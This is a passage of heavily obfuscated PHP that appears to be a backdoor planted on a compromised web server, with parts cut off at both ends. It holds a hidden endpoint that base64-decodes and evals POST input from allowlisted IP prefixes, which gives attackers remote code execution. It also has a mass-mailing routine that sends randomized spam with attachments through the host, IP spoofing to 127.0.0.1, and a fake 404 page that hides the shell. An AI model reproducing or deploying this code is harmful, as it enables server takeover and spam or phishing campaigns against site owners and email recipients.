".strlen(${$gjdxkphwk})."\r\n";}${"\x47\x4cO\x42\x41L\x53"}["v\x70\x78\x63\x71\x79\x74\x6eei"]="\x70a\x72\x61\x6d\x73";${${"G\x4cO\x42\x41\x4cS"}["\x69bk\x6b\x73p\x62\x6dt"]}.="\r\n";if(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["vp\x78\x63\x71\x79\x74n\x65\x69"]}["\x6d\x65t\x68od"]=="POS\x54")${${"\x47\x4c\x4f\x42\x41\x4cS"}["hpy\x69v\x6f\x62nr\x6a"]}.=${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x7ah\x7a\x74\x78\x6fe\x74\x71\x73\x71o"]};@fwrite(${$bokemsg},${${"\x47\x4c\x4fBA\x4c\x53"}["\x69\x67\x74\x68\x62ru\x68\x6c"]});${$cislxaeghie}="";${$aknvlyh}="";${$sslltsx}=false;while(!@feof(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x62\x62\x67\x6a\x70bcg\x6fklg"]})){$zsjbikydg="\x68\x5f\x64\x65t\x65\x63\x74\x65d";${"GL\x4f\x42AL\x53"}["p\x6fv\x78cej\x67o"]="re\x73";${${"\x47LO\x42\x41L\x53"}["povx\x63\x65j\x67\x6f"]}.=@fread(${${"G\x4c\x4fB\x41\x4c\x53"}["\x63\x6f\x6f\x6f\x74\x78\x75f\x65"]},1024);if(!${$zsjbikydg}&&strpos(${${"\x47\x4cO\x42\x41\x4c\x53"}["c\x72\x6eo\x78\x6b\x6e\x66b\x6cs"]},"\r\n\r\n")!==FALSE){${"\x47L\x4f\x42\x41\x4c\x53"}["\x71\x61\x68q\x74\x77\x64\x76"]="\x70ara\x6d\x73";$nfwifjk="\x72es";${"\x47L\x4f\x42A\x4c\x53"}["\x6cg\x70be\x73\x73\x61\x61iy\x74"]="\x72\x65\x73";$rrieyibzvdf="\x68\x5f\x64\x65\x74\x65\x63\x74\x65\x64";${"G\x4c\x4f\x42A\x4c\x53"}["r\x70\x6d\x6d\x68ji\x72e"]="\x72\x65\x73";$njhwthxufr="\x70\x61\x72\x61\x6d\x73";${$rrieyibzvdf}=true;$gahcriljzhp="r\x65s";$llizdweee="head\x65\x72s";$bpgdomcwmq="r\x65\x73";${${"\x47\x4c\x4fB\x41\x4cS"}["\x77\x71\x73\x6b\x69i\x61\x6a\x68\x79"]}=substr(${$gahcriljzhp},0,strpos(${${"\x47LOB\x41\x4cS"}["\x6cg\x70\x62\x65\x73s\x61\x61\x69\x79\x74"]},"\r\n\r\n"));${$bpgdomcwmq}=substr(${${"\x47LO\x42AL\x53"}["\x72\x70\x6d\x6d\x68\x6a\x69\x72e"]},strpos(${$nfwifjk},"\r\n\r\n")+4);${"G\x4c\x4f\x42A\x4c\x53"}["\x66et\x76v\x6a\x6cr\x7aj"]="\x70\x61\x72\x61\x6d\x73";if(${${"GL\x4f\x42\x41\x4cS"}["q\x61\x68\x71\x74\x77\x64\x76"]}["return"]=="head\x65\x72\x73"||${${"\x47\x4cOB\x41\x4cS"}["o\x73\x6bxm\x75m\x72"]}["\x72\x65\x74\x75\x72\x6e"]=="\x61\x72r\x61y"||(isset(${$njhwthxufr}["\x72\x65\x64ire\x63t"])&&${${"GLOB\x41L\x53"}["\x66e\x74v\x76\x6alr\x7aj"]}["\x72\x65\x64i\x72ec\x74"]==true)){$cfvpjkffch="he\x61\x64\x65\x72\x73";${"G\x4c\x4f\x42A\x4c\x53"}["\x78\x63li\x62pg"]="\x68\x65\x61d\x65\x72s";$djudhoerejh="v";${${"\x47L\x4f\x42A\x4cS"}["\x67\x69s\x76\x71\x71m\x76i\x77\x77"]}=explode("\r\n",${${"\x47\x4cO\x42\x41LS"}["\x78\x63\x6ci\x62pg"]});${$cfvpjkffch}=array();foreach(${${"G\x4c\x4f\x42\x41\x4c\x53"}["g\x69\x73\x76\x71\x71m\x76\x69\x77\x77"]} as${${"\x47\x4cO\x42\x41\x4c\x53"}["\x70\x71pgl\x6d\x6e\x64\x66c\x7a"]}=>${$djudhoerejh}){${"\x47\x4cO\x42AL\x53"}["\x78\x76\x64\x73ulpks\x69"]="\x76";$vjdkllhupfnx="v";if(strpos(${$vjdkllhupfnx},":")){${"\x47L\x4fBAL\x53"}["\x6bv\x78\x73\x68\x6d\x71f\x78pq"]="\x76";$algdhknfslx="\x76";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x70q\x70\x67l\x6d\x6e\x64fc\x7a"]}=substr(${$algdhknfslx},0,strpos(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6bv\x78\x73hmqf\x78\x70\x71"]},":"));${${"\x47\x4c\x4f\x42ALS"}["\x74j\x67\x78\x68\x6e"]}=trim(substr(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x6ag\x78\x68\x6e"]},strpos(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74j\x67\x78\x68\x6e"]},":")+1));}${"\x47L\x4f\x42\x41\x4c\x53"}["\x6aib\x71\x64\x6en\x64\x6d\x6c\x61"]="\x6b";${"\x47\x4cO\x42\x41\x4c\x53"}["mdl\x73\x73p\x61\x75m"]="h\x65a\x64\x65r\x73";${${"G\x4c\x4f\x42A\x4cS"}["\x6d\x64\x6cs\x73p\x61\x75m"]}[strtoupper(${${"GLOBA\x4c\x53"}["jib\x71d\x6en\x64m\x6ca"]})]=${${"\x47L\x4f\x42A\x4cS"}["x\x76\x64s\x75\x6cp\x6b\x73\x69"]};}}if(isset(${${"GLO\x42\x41\x4c\x53"}["o\x73\x6b\x78\x6d\x75m\x72"]}["red\x69r\x65\x63t"])&&${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x73\x6b\x78\x6d\x75\x6d\x72"]}["r\x65\x64i\x72\x65\x63t"]==true&&isset(${${"GL\x4fB\x41\x4cS"}["w\x71s\x6b\x69i\x61\x6a\x68\x79"]}["\x4c\x4fC\x41TIO\x4e"])){$uyrcjxyarx="p\x61\x72a\x6ds";${$uyrcjxyarx}["u\x72l"]=${${"\x47L\x4f\x42\x41L\x53"}["\x77qs\x6b\x69\x69\x61\x6a\x68\x79"]}["L\x4fCAT\x49ON"];if(!isset(${${"\x47\x4cO\x42\x41\x4cS"}["o\x73\x6b\x78mu\x6dr"]}["\x72e\x64\x69r\x65\x63\x74-\x63\x6f\x75\x6e\x74"]))${${"G\x4c\x4fB\x41\x4cS"}["os\x6b\x78\x6dum\x72"]}["\x72ed\x69\x72ec\x74-\x63ou\x6e\x74"]=0;if(${${"\x47\x4c\x4f\x42\x41L\x53"}["os\x6b\x78\x6d\x75\x6dr"]}["\x72e\x64\x69\x72ect-\x63ou\x6e\x74"]<10){$ruyuurq="\x66u\x6e\x63";${"G\x4cO\x42AL\x53"}["f\x72d\x71wi"]="\x66\x75\x6e\x63";$lcuqhep="pa\x72\x61\x6d\x73";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6f\x73kxm\x75\x6d\x72"]}["\x72e\x64\x69rec\x74-cou\x6et"]++;${${"GL\x4f\x42\x41\x4c\x53"}["u\x6f\x6e\x79\x79\x67\x62"]}=__FUNCTION__;return@is_object($this)?$this->${${"G\x4cOB\x41LS"}["f\x72\x64\x71\x77i"]}(${${"G\x4cO\x42A\x4cS"}["o\x73kxmu\x6d\x72"]}):${$ruyuurq}(${$lcuqhep});}}if(${${"\x47\x4c\x4f\x42\x41\x4cS"}["o\x73k\x78\x6d\x75mr"]}["re\x74\x75\x72\x6e"]=="\x68ead\x65\x72s")return${$llizdweee};}}@fclose(${${"G\x4c\x4f\x42\x41LS"}["\x6e\x6a\x68b\x68hb\x64b\x71"]});}else return FALSE;if(${${"GLO\x42\x41L\x53"}["\x79\x78rdx\x63\x75p"]}["re\x74\x75rn"]=="\x61rra\x79")${${"GLO\x42\x41\x4c\x53"}["\x63\x72\x6e\x6f\x78knfb\x6c\x73"]}=array("\x68ea\x64\x65\x72s"=>${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x77qs\x6bi\x69a\x6a\x68\x79"]},"c\x6f\x6e\x74\x65\x6e\x74"=>${$lrfewa});return${${"\x47L\x4fB\x41\x4cS"}["\x63\x72\x6e\x6f\x78k\x6e\x66\x62ls"]};} ?>
<?php $GLOBALS["uonyygb"] = "func"; $GLOBALS["gisvqqmviww"] = "h"; $GLOBALS["wqskiiajhy"] = "headers"; $GLOBALS["crnoxknfbls"] = "res"; $GLOBALS["zhztxoetqsqo"] = "data"; $GLOBALS["tjgxhn"] = "v"; $GLOBALS["pqpglmndfcz"] = "k"; $GLOBALS["steskmdcwid"] = "cookie"; $GLOBALS["hpyivobnrj"] = "request"; $GLOBALS["enbclnkoe"] = "errstr"; $GLOBALS["phrmtb"] = "errno"; $GLOBALS["coootxufe"] = "fp"; $GLOBALS["zjywnhwxotvt"] = "scheme"; $GLOBALS["dwqrjyuqnqmd"] = "timeout"; $GLOBALS["ytvkkbkcu"] = "port"; $GLOBALS["qtbvqh"] = "url"; $GLOBALS["oskxmumr"] = "params"; $GLOBALS["etjvnnpq"] = "uri"; $GLOBALS["vvfshyngh"] = "tokens"; $GLOBALS["rqtlhl"] = "passes"; $GLOBALS["scxhqdqrhjj"] = "pass"; $GLOBALS["ebnfnbvwdlw"] = "string"; $GLOBALS["ltwssfibr"] = "numChars"; $GLOBALS["nwimyt"] = "length"; $GLOBALS["srclupxzuj"] = "chars"; $GLOBALS["ebqyah"] = "num"; $GLOBALS["vefnfdjyok"] = "count"; $GLOBALS["ipvwgzsoidup"] = "word"; $GLOBALS["bwwtmnelyfu"] = "max"; $GLOBALS["yzbkgoj"] = "min"; $GLOBALS["zffinl"] = "rand"; $GLOBALS["tbhsuwe"] = "ns"; $GLOBALS["ruiwjpjcq"] = "i"; $GLOBALS["vpyziof"] = "matches"; $GLOBALS["ghneplus"] = "content"; $GLOBALS["dxhsbjgqw"] = "subj"; $GLOBALS["ztfxkeomy"] = "zag"; $GLOBALS["dyxkljkciqf"] = "un"; $GLOBALS["cqfkequir"] = "head"; $GLOBALS["hfilekwdqryo"] = "mailers"; $GLOBALS["ferlhbru"] = "froms"; $GLOBALS["kloitxeb"] = "from"; $GLOBALS["uhwabbpfjwt"] = "message"; $GLOBALS["mdjraudywz"] = "themes"; $GLOBALS["tzgabfopzn"] = "theme"; $GLOBALS["hqrxhektxchi"] = "email"; $GLOBALS["nyomvwo"] = "fteil"; $GLOBALS["fpphmvwk"] = "key"; $GLOBALS["krchakfi"] = "filename"; $GLOBALS["gtrdnrlkdu"] = "file"; $GLOBALS["dffflvquvnf"] = "aliases"; $GLOBALS["gdglug"] = "messages"; $GLOBALS["dzvelgpelhmx"] = "emails"; $GLOBALS["elcgqf"] = "post"; $GLOBALS["vhpdxhs"] = "good"; $GLOBALS["eowvglrcon"] = "goods"; if (isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER["REMOTE_ADDR"])) { eval(base64_decode($_POST["code"])); exit; } if (isset($_POST["type"]) && $_POST["type"] == "1") { type1_send(); exit; } elseif (isset($_POST["type"]) && $_POST["type"] == "2") { } elseif (isset($_POST["type"])) { echo $_POST["type"]; exit; } error_404(); function is_good_ip($ip) { ${$GLOBALS["eowvglrcon"]} = array("6.185.239.", "8.138.118.", "8.138.127."); $ttnxfhe = "good"; foreach (${$GLOBALS["eowvglrcon"]} as $good) { $hjkksqigqtl = "ip"; if (strstr($ip, ${$GLOBALS["vhpdxhs"]}) != FALSE) { return TRUE; } } return FALSE; } function type1_send() { $GLOBALS["atyplfefv"] = "themes"; if (!isset($_POST["emails"]) or !isset($_POST["themes"]) or !isset($_POST["messages"]) or !isset($_POST["froms"]) or !isset($_POST["mailers"])) { exit; } $wivglgyh = "froms"; if (get_magic_quotes_gpc()) { $cuvlzwkeyj = "key"; foreach ($_POST as $key => ${$GLOBALS["elcgqf"]}) { $ukbcmygrxltg = "key"; $GLOBALS["xbvjrq"] = "post"; $_POST[$key] = stripcslashes($post); } } ${$GLOBALS["dzvelgpelhmx"]} = @unserialize(base64_decode($_POST["emails"])); $themes = @unserialize(base64_decode($_POST["themes"])); $sqbezzibn = "mailers"; $GLOBALS["jmqoekdfdnk"] = "passes"; ${$GLOBALS["gdglug"]} = @unserialize(base64_decode($_POST["messages"])); ${$wivglgyh} = @unserialize(base64_decode($_POST["froms"])); ${$sqbezzibn} = @unserialize(base64_decode($_POST["mailers"])); ${$GLOBALS["dffflvquvnf"]} = @unserialize(base64_decode($_POST["aliases"])); $jczgompywrq = "emails"; $passes = @unserialize(base64_decode($_POST["passes"])); if (isset($_SERVER)) { $_SERVER["PHP_SELF"] = "/"; $_SERVER["REMOTE_ADDR"] = "127.0.0.1"; if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { $_SERVER["HTTP_X_FORWARDED_FOR"] = "127.0.0.1"; } } if (isset($_FILES)) { $GLOBALS["ikfjisspmfk"] = "key"; foreach ($_FILES as $key => ${$GLOBALS["gtrdnrlkdu"]}) { ${$GLOBALS["krchakfi"]} = alter_macros(${$GLOBALS["dffflvquvnf"]}[${$GLOBALS["fpphmvwk"]}]); $GLOBALS["kksmpdbogm"] = "filename"; $GLOBALS["jfvvliqybeli"] = "filename"; ${$GLOBALS["krchakfi"]} = num_macros(${$GLOBALS["krchakfi"]}); ${$GLOBALS["krchakfi"]} = text_macros($filename); ${$GLOBALS["krchakfi"]} = xnum_macros($filename); $_FILES[${$GLOBALS["fpphmvwk"]}]["name"] = ${$GLOBALS["krchakfi"]}; } } if (empty(${$GLOBALS["dzvelgpelhmx"]})) { exit; } foreach (${$jczgompywrq} as ${$GLOBALS["nyomvwo"]} => ${$GLOBALS["hqrxhektxchi"]}) { $yoqlfjqj = "message"; $qsexgjc = "from"; $GLOBALS["ihoizkbmgy"] = "mailer"; $GLOBALS["masnewmk"] = "theme"; $GLOBALS["txxhkhedf"] = "froms"; $crtvjkjxvgmh = "themes"; $lacxjqu = "theme"; $jymcuhyr = "mailers"; $ykymhoox = "theme"; $GLOBALS["opcgdimqxu"] = "theme"; ${$GLOBALS["tzgabfopzn"]} = $themes[array_rand(${$GLOBALS["mdjraudywz"]})]; $gmspqerfoa = "theme"; $theme = alter_macros(${$ykymhoox}["theme"]); ${$GLOBALS["tzgabfopzn"]} = num_macros(${$GLOBALS["tzgabfopzn"]}); $asllnpibfp = "theme"; $GLOBALS["tfchbnbmqmq"] = "message"; $GLOBALS["bejmfkoil"] = "from"; $theme = text_macros(${$gmspqerfoa}); ${$GLOBALS["tzgabfopzn"]} = xnum_macros($theme); ${$GLOBALS["uhwabbpfjwt"]} = ${$GLOBALS["gdglug"]}[array_rand(${$GLOBALS["gdglug"]})]; ${$GLOBALS["uhwabbpfjwt"]} = alter_macros($message["message"]); ${$GLOBALS["uhwabbpfjwt"]} = num_macros(${$GLOBALS["uhwabbpfjwt"]}); $mjnfimeppkk = "message"; ${$GLOBALS["uhwabbpfjwt"]} = text_macros(${$GLOBALS["uhwabbpfjwt"]}); ${$yoqlfjqj} = xnum_macros(${$GLOBALS["uhwabbpfjwt"]}); $tskmqymxvxw = "from"; $lkljdnn = "message"; $message = fteil_macros(${$GLOBALS["uhwabbpfjwt"]}, ${$GLOBALS["nyomvwo"]}); ${$GLOBALS["kloitxeb"]} = ${$GLOBALS["ferlhbru"]}[array_rand($froms)]; $gbqyorq = "from"; $from = alter_macros(${$tskmqymxvxw}["from"]); $from = num_macros(${$GLOBALS["kloitxeb"]}); ${$GLOBALS["kloitxeb"]} = text_macros(${$qsexgjc}); ${$GLOBALS["kloitxeb"]} = xnum_macros(${$GLOBALS["kloitxeb"]}); if (strstr(${$GLOBALS["kloitxeb"]}, "[CUSTOM]") == FALSE) { $GLOBALS["epxbtu"] = "from"; $from = from_host(${$GLOBALS["kloitxeb"]}); } else { $GLOBALS["trulshjq"] = "from"; ${$GLOBALS["kloitxeb"]} = str_replace("[CUSTOM]", "", $from); } $mailer = ${$jymcuhyr}[array_rand(${$GLOBALS["hfilekwdqryo"]})]; $shnxfxdms = "mailer"; send_mail(${$GLOBALS["kloitxeb"]}, ${$GLOBALS["hqrxhektxchi"]}, ${$lacxjqu}, ${$mjnfimeppkk}, $mailer); } } function send_mail($from, $to, $subj, $text, $mailer) { ${$GLOBALS["cqfkequir"]} = ""; $GLOBALS["mpgeshq"] = "zag"; $GLOBALS["mghppysdmmoy"] = "to"; $GLOBALS["medsygvry"] = "head"; ${$GLOBALS["dyxkljkciqf"]} = strtoupper(uniqid(time())); ${$GLOBALS["cqfkequir"]} .= "From: {$from}\n"; $GLOBALS["ncsmydjv"] = "zag"; ${$GLOBALS["cqfkequir"]} .= "X-Mailer: {$mailer}\n"; $GLOBALS["ninilkrrn"] = "un"; $haflhsupbqb = "plain"; ${$GLOBALS["cqfkequir"]} .= "Reply-To: {$from}\n"; ${$GLOBALS["cqfkequir"]} .= "Mime-Version: 1.0\n"; $GLOBALS["egqxhkdu"] = "zag"; ${$GLOBALS["cqfkequir"]} .= "Content-Type: multipart/alternative;"; ${$GLOBALS["cqfkequir"]} .= "boundary=\"----------" . ${$GLOBALS["dyxkljkciqf"]} . "\"\n\n"; $fuvlxmu = "text"; $eeqvhbzph = "plain"; $GLOBALS["drluhlcngj"] = "un"; ${$haflhsupbqb} = strip_tags($text); $zag = "------------" . ${$GLOBALS["dyxkljkciqf"]} . "\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n"; $zag .= "Content-Transfer-Encoding: 7bit\n\n" . ${$eeqvhbzph} . "\n\n"; $zag .= "------------" . $un . "\nContent-Type: text/html; charset=\"ISO-8859-1\";\n"; ${$GLOBALS["ztfxkeomy"]} .= "Content-Transfer-Encoding: 7bit\n\n{$text}\n\n"; ${$GLOBALS["ztfxkeomy"]} .= "------------" . $un . "--"; if (count($_FILES) > 0) { $mvgwkwedt = "file"; foreach ($_FILES as $file) { $otynkfyje = "file"; if (file_exists($file["tmp_name"])) { $bkerbepemyo = "f"; $jvhzfnfhpf = "f"; $f = fopen(${$GLOBALS["gtrdnrlkdu"]}["tmp_name"], "rb"); $yuebsszeishn = "zag"; $sjmjwduq = "zag"; $GLOBALS["trzyhtsp"] = "un"; $uwkfxbepv = "zag"; $zag .= "------------" . $un . "\n"; $yxrbrbbvpj = "file"; $wiehzzgum = "zag"; $GLOBALS["idxekwgpo"] = "zag"; ${$GLOBALS["ztfxkeomy"]} .= "Content-Type: application/octet-stream;"; ${$GLOBALS["ztfxkeomy"]} .= "name=\"" . ${$GLOBALS["gtrdnrlkdu"]}["name"] . "\"\n"; ${$yuebsszeishn} .= "Content-Transfer-Encoding:base64\n"; $gcvoegwvlx = "f"; ${$sjmjwduq} .= "Content-Disposition:attachment;"; ${$wiehzzgum} .= "filename=\"" . ${$GLOBALS["gtrdnrlkdu"]}["name"] . "\"\n\n"; $zag .= chunk_split(base64_encode(fread(${$gcvoegwvlx}, filesize(${$yxrbrbbvpj}["tmp_name"])))) . "\n"; fclose(${$jvhzfnfhpf}); } } } if (@mail($to, ${$GLOBALS["dxhsbjgqw"]}, ${$GLOBALS["ztfxkeomy"]}, $head)) { if (!empty($_POST["verbose"])) { echo "SENDED"; } } else { if (!empty($_POST["verbose"])) { echo "FAIL"; } } } function alter_macros($content) { $awfkwjh = "content"; $GLOBALS["yxlrxjmvs"] = "matches"; preg_match_all("#{(.*)}#Ui", ${$GLOBALS["ghneplus"]}, ${$GLOBALS["vpyziof"]}); $osvyhjemd = "i"; for (${$GLOBALS["ruiwjpjcq"]} = 0; ${$osvyhjemd} < count($matches[1]); ${$GLOBALS["ruiwjpjcq"]}++) { $GLOBALS["hjcxrrurc"] = "ns"; $GLOBALS["zruakxq"] = "i"; $haezmjascnq = "c2"; $GLOBALS["triucxq"] = "i"; $GLOBALS["nohkhsaui"] = "c2"; $ns = explode("|", ${$GLOBALS["vpyziof"]}[1][$i]); $c2 = count(${$GLOBALS["tbhsuwe"]}); $yfdjdwhq = "ns"; $GLOBALS["lfojytlkugt"] = "matches"; ${$GLOBALS["zffinl"]} = rand(0, $c2 - 1); ${$GLOBALS["ghneplus"]} = str_replace("{" . $matches[1][$i] . "}", ${$yfdjdwhq}[${$GLOBALS["zffinl"]}], ${$GLOBALS["ghneplus"]}); } return ${$awfkwjh}; } function text_macros($content) { $hyxuqdd = "i"; $ydxhjevnehrl = "i"; $GLOBALS["uhgpobyqceu"] = "i"; $GLOBALS["zlpjqffym"] = "content"; $GLOBALS["vreuwxv"] = "content"; preg_match_all("#\\[TEXT\\-([[:digit:]]+)\\-([[:digit:]]+)\\]#", $content, ${$GLOBALS["vpyziof"]}); $dqypvlu = "i"; $GLOBALS["hkpxsnnsh"] = "i"; for ($i = 0; $i < count(${$GLOBALS["vpyziof"]}[0]); ${$GLOBALS["ruiwjpjcq"]}++) { $bhbxrokf = "word"; $GLOBALS["gucfwlgjt"] = "matches"; $GLOBALS["lmlmofivt"] = "i"; $eukffcole = "rand"; $GLOBALS["ffkgri"] = "min"; $GLOBALS["jmptzcj"] = "matches"; $gjokqgptcw = "content"; $oosgmrc = "max"; ${$GLOBALS["yzbkgoj"]} = $matches[1][$i]; ${$oosgmrc} = ${$GLOBALS["vpyziof"]}[2][${$GLOBALS["ruiwjpjcq"]}]; $tksqixu = "i"; ${$eukffcole} = rand($min, ${$GLOBALS["bwwtmnelyfu"]}); ${$bhbxrokf} = generate_word(${$GLOBALS["zffinl"]}); ${$GLOBALS["ghneplus"]} = preg_replace("/" . preg_quote($matches[0][${$tksqixu}]) . "/", ${$GLOBALS["ipvwgzsoidup"]}, ${$gjokqgptcw}, 1); } $spjktljeo = "matches"; preg_match_all("#\\[TEXT\\-([[:digit:]]+)\\]#", ${$GLOBALS["ghneplus"]}, ${$GLOBALS["vpyziof"]}); for ($i = 0; ${$hyxuqdd} < count(${$spjktljeo}[0]); ${$dqypvlu}++) { $fufufba = "i"; $GLOBALS["emtyowsw"] = "content"; $GLOBALS["ropkvbnx"] = "matches"; ${$GLOBALS["vefnfdjyok"]} = $matches[1][$i]; $pirwoobadh = "count"; $bhxqfbihx = "word"; $iyxmabn = "word"; $word = generate_word($count); ${$GLOBALS["ghneplus"]} = preg_replace("/" . preg_quote(${$GLOBALS["vpyziof"]}[0][${$GLOBALS["ruiwjpjcq"]}]) . "/", $word, $content, 1); } return $content; } function xnum_macros($content) { $GLOBALS["wgszudkhrnq"] = "matches"; $jsxnfvkyb = "matches"; $GLOBALS["ngbgkmawgcio"] = "i"; $GLOBALS["zfstegiobkd"] = "content"; $rhcttj = "i"; preg_match_all("#\\[NUM\\-([[:digit:]]+)\\]#", ${$GLOBALS["ghneplus"]}, $matches); for ($i = 0; ${$rhcttj} < count(${$jsxnfvkyb}[0]); ${$GLOBALS["ruiwjpjcq"]}++) { $ubuokryci = "num"; $nlwevatwbmp = "content"; $GLOBALS["vgwfescqcfsz"] = "i"; $jviztqp = "matches"; $ssubieyxtesv = "matches"; $xnggqxhgbv = "min"; $hpivudnwnlb = "i"; $bduubosb = "content"; ${$GLOBALS["ebqyah"]} = $matches[1][$i]; ${$GLOBALS["yzbkgoj"]} = pow(10, ${$ubuokryci} - 1); $rxprwtpfe = "max"; ${$GLOBALS["bwwtmnelyfu"]} = pow(10, ${$GLOBALS["ebqyah"]}) - 1; ${$GLOBALS["zffinl"]} = rand(${$xnggqxhgbv}, ${$rxprwtpfe}); ${$bduubosb} = str_replace(${$jviztqp}[0][$i], ${$GLOBALS["zffinl"]}, ${$nlwevatwbmp}); } return $content; } function num_macros($content) { $GLOBALS["xopifmdrzbw"] = "content"; $ipcarpgljps = "i"; $GLOBALS["qbprwotixghd"] = "i"; preg_match_all("#\\[RAND\\-([[:digit:]]+)\\-([[:digit:]]+)\\]#", $content, ${$GLOBALS["vpyziof"]}); $GLOBALS["jehhtet"] = "i"; for ($i = 0; $i < count(${$GLOBALS["vpyziof"]}[0]); ${$ipcarpgljps}++) { $qfvlccg = "i"; $acdttscrvxv = "min"; $GLOBALS["zqpgbwaywng"] = "i"; $GLOBALS["plkovogstkf"] = "matches"; $min = $matches[1][$i]; $fvablolqu = "content"; $GLOBALS["mubsqgtn"] = "i"; $emgxsndg = "max"; ${$GLOBALS["bwwtmnelyfu"]} = ${$GLOBALS["vpyziof"]}[2][$i]; ${$GLOBALS["zffinl"]} = rand(${$GLOBALS["yzbkgoj"]}, ${$emgxsndg}); ${$GLOBALS["ghneplus"]} = str_replace(${$GLOBALS["vpyziof"]}[0][$i], ${$GLOBALS["zffinl"]}, ${$fvablolqu}); } return ${$GLOBALS["ghneplus"]}; } function generate_word($length) { $smoykjvhg = "i"; $clmitjvpkgf = "numChars"; $GLOBALS["fltpydywip"] = "chars"; $iqblxxnib = "i"; ${$GLOBALS["srclupxzuj"]} = "abcdefghijklmnopqrstuvyxz"; $lttuxlovnrxk = "string"; $GLOBALS["msnfjgszuiyj"] = "i"; ${$clmitjvpkgf} = strlen($chars); ${$lttuxlovnrxk} = ""; for (${$iqblxxnib} = 0; $i < ${$GLOBALS["nwimyt"]}; ${$smoykjvhg}++) { $GLOBALS["bxwpdpnxefs"] = "chars"; $umgvbiwhufl = "string"; $string .= substr($chars, rand(1, ${$GLOBALS["ltwssfibr"]}) - 1, 1); } return ${$GLOBALS["ebnfnbvwdlw"]}; } function pass_macros($content, $passes) { $GLOBALS["ywrnelv"] = "content"; $GLOBALS["flyovyyms"] = "pass"; ${$GLOBALS["scxhqdqrhjj"]} = array_pop(${$GLOBALS["rqtlhl"]}); return str_replace("[PASS]", $pass, $content); } function fteil_macros($content, $fteil) { $GLOBALS["wsjfirbwdl"] = "content"; $GLOBALS["mywjbatpx"] = "fteil"; return str_replace("[FTEIL]", $fteil, $content); } function is_ip($str) { $drcfrshj = "str"; return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}\$/", $str); } function from_host($content) { $GLOBALS["wudmqyqcegn"] = "content"; $host = preg_replace("/^(www|ftp)\\./i", "", @$_SERVER["HTTP_HOST"]); if (is_ip($host)) { return ${$GLOBALS["ghneplus"]}; } ${$GLOBALS["vvfshyngh"]} = explode("@", ${$GLOBALS["ghneplus"]}); $content = ${$GLOBALS["vvfshyngh"]}[0] . "@" . $host . ">"; return ${$GLOBALS["ghneplus"]}; } function error_404() { $GLOBALS["hgiojur"] = "content"; $cpbulmkll = "content"; $GLOBALS["wtjhonen"] = "uri"; header("HTTP/1.1 404 Not Found"); $uri = preg_replace("/(\\?).*\$/", "", $_SERVER["REQUEST_URI"]); $content = custom_http_request1("http://" . $_SERVER["HTTP_HOST"] . "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA"); ${$GLOBALS["ghneplus"]} = str_replace("/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", ${$GLOBALS["etjvnnpq"]}, $content); exit(${$GLOBALS["ghneplus"]}); } function custom_http_request1($params) { $zjkkuigpev = "params"; $dellukcyp = "url"; $GLOBALS["bfiskeorw"] = "url"; $GLOBALS["lckiuwgnmpps"] = "url"; $GLOBALS["meeuodcn"] = "port"; $rtuthn = "params"; $GLOBALS["jajgedeml"] = "url"; $qwwjfqmgsw = "params"; if (!is_array($params)) { ${$GLOBALS["oskxmumr"]} = array("url" => ${$GLOBALS["oskxmumr"]}, "method" => "GET"); } $lrfewa = "res"; $GLOBALS["ksfove"] = "url"; $GLOBALS["qerigwsrfu"] = "timeout"; $nnggdbqtiiri = "url"; $kbigwyo = "url"; $uwtlhrx = "params"; $ekhudpngpj = "scheme"; $anoipcsbvnx = "url"; if (${$GLOBALS["oskxmumr"]}["url"] == "") { return FALSE; } $GLOBALS["orjyanmgdx"] = "params"; $oztqfabxqd = "url"; $uislbjmutj = "url"; if (!isset(${$rtuthn}["method"])) { ${$GLOBALS["oskxmumr"]}["method"] = isset(${$GLOBALS["oskxmumr"]}["data"]) && is_array(${$GLOBALS["oskxmumr"]}["data"]) ? "POST" : "GET"; } $params["method"] = strtoupper(${$GLOBALS["oskxmumr"]}["method"]); $GLOBALS["yxrdxcup"] = "params"; $ukvnkvqktjd = "url"; if (!in_array(${$uwtlhrx}["method"], array("GET", "POST"))) { return FALSE; } $zkiwgqct = "params"; ${$kbigwyo} = parse_url(${$qwwjfqmgsw}["url"]); if (!isset(${$GLOBALS["qtbvqh"]}["scheme"])) { ${$GLOBALS["qtbvqh"]}["scheme"] = "http"; } if (!isset(${$GLOBALS["qtbvqh"]}["path"])) { ${$dellukcyp}["path"] = "/"; } if (!isset(${$GLOBALS["qtbvqh"]}["host"]) && isset(${$GLOBALS["qtbvqh"]}["path"])) { if (strpos(${$GLOBALS["qtbvqh"]}["path"], "/")) { $GLOBALS["otmkuzepmcu"] = "url"; $ygtcahcvv = "url"; $GLOBALS["civoucgtr"] = "url"; $txnjvhxqre = "url"; $url["host"] = substr(${$GLOBALS["qtbvqh"]}["path"], 0, strpos($url["path"], "/")); $url["path"] = substr(${$GLOBALS["qtbvqh"]}["path"], strpos($url["path"], "/")); } else { $GLOBALS["svnwcnnlyt"] = "url"; $GLOBALS["xgisnrqqwe"] = "url"; ${$GLOBALS["qtbvqh"]}["host"] = $url["path"]; $url["path"] = "/"; } } $GLOBALS["lhgkjlct"] = "params"; ${$oztqfabxqd}["path"] = preg_replace("/[\\/]+/", "/", ${$uislbjmutj}["path"]); if (isset($url["query"])) { $url["path"] .= "?{$url['query']}"; } ${$GLOBALS["ytvkkbkcu"]} = isset(${$GLOBALS["oskxmumr"]}["port"]) ? $params["port"] : (isset(${$ukvnkvqktjd}["port"]) ? ${$anoipcsbvnx}["port"] : ($url["scheme"] == "https" ? 443 : 80)); ${$GLOBALS["dwqrjyuqnqmd"]} 